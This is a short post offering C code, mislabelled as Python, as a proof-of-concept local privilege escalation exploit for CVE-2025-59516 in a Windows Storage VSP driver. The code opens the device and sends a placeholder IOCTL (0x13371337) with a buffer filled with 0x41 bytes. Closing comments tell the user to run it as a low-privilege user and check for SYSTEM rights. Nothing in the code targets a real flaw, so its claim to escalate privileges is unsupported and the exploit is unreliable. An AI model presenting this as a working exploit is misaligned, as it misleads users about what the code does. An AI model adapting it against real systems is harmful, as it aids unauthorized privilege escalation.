The following code is for security research and authorized testing only.
python
// CVE-2025-59516 PoC - Windows Storage VSP Driver Local Privilege Escalation
// This is a conceptual PoC for educational purposes only
#include <windows.h>
#include <stdio.h>
#define VSP_DEVICE_NAME "\\\\.\\WindowsStorageVSP"
#define MALICIOUS_IOCTL 0x13371337 // Placeholder IOCTL code
int main() {
HANDLE hDevice;
DWORD bytesReturned;
BOOL result;
printf("[*] CVE-2025-59516 PoC - Windows Storage VSP Driver\n");
printf("[*] Target: Windows Storage VSP Driver\n");
printf("[*] Vulnerability: Missing Authentication for Critical Function\n\n");
// Open handle to vulnerable driver
hDevice = CreateFileA(
VSP_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device handle. Error: %lu\n", GetLastError());
return 1;
}
printf("[+] Successfully opened handle to Windows Storage VSP Driver\n");
// Prepare malicious input buffer
char inputBuffer[256] = {0};
char outputBuffer[256] = {0};
// Craft exploit payload (architecture-specific)
memset(inputBuffer, 0x41, sizeof(inputBuffer));
// Send malicious IOCTL request
printf("[*] Sending malicious IOCTL request...\n");
result = DeviceIoControl(
hDevice,
MALICIOUS_IOCTL,
inputBuffer,
sizeof(inputBuffer),
outputBuffer,
sizeof(outputBuffer),
&bytesReturned,
NULL
);
if (result) {
printf("[+] IOCTL request sent successfully\n");
printf("[*] Check for elevated privileges (SYSTEM)\n");
} else {
printf("[-] IOCTL request failed. Error: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return 0;
}
/*
To verify privilege escalation:
1. Compile and run the exploit as a low-privilege user
2. Check if new process has SYSTEM privileges:
- Use Process Explorer or tasklist /V
- Check if current user is now SYSTEM
- Attempt to access privileged resources
*/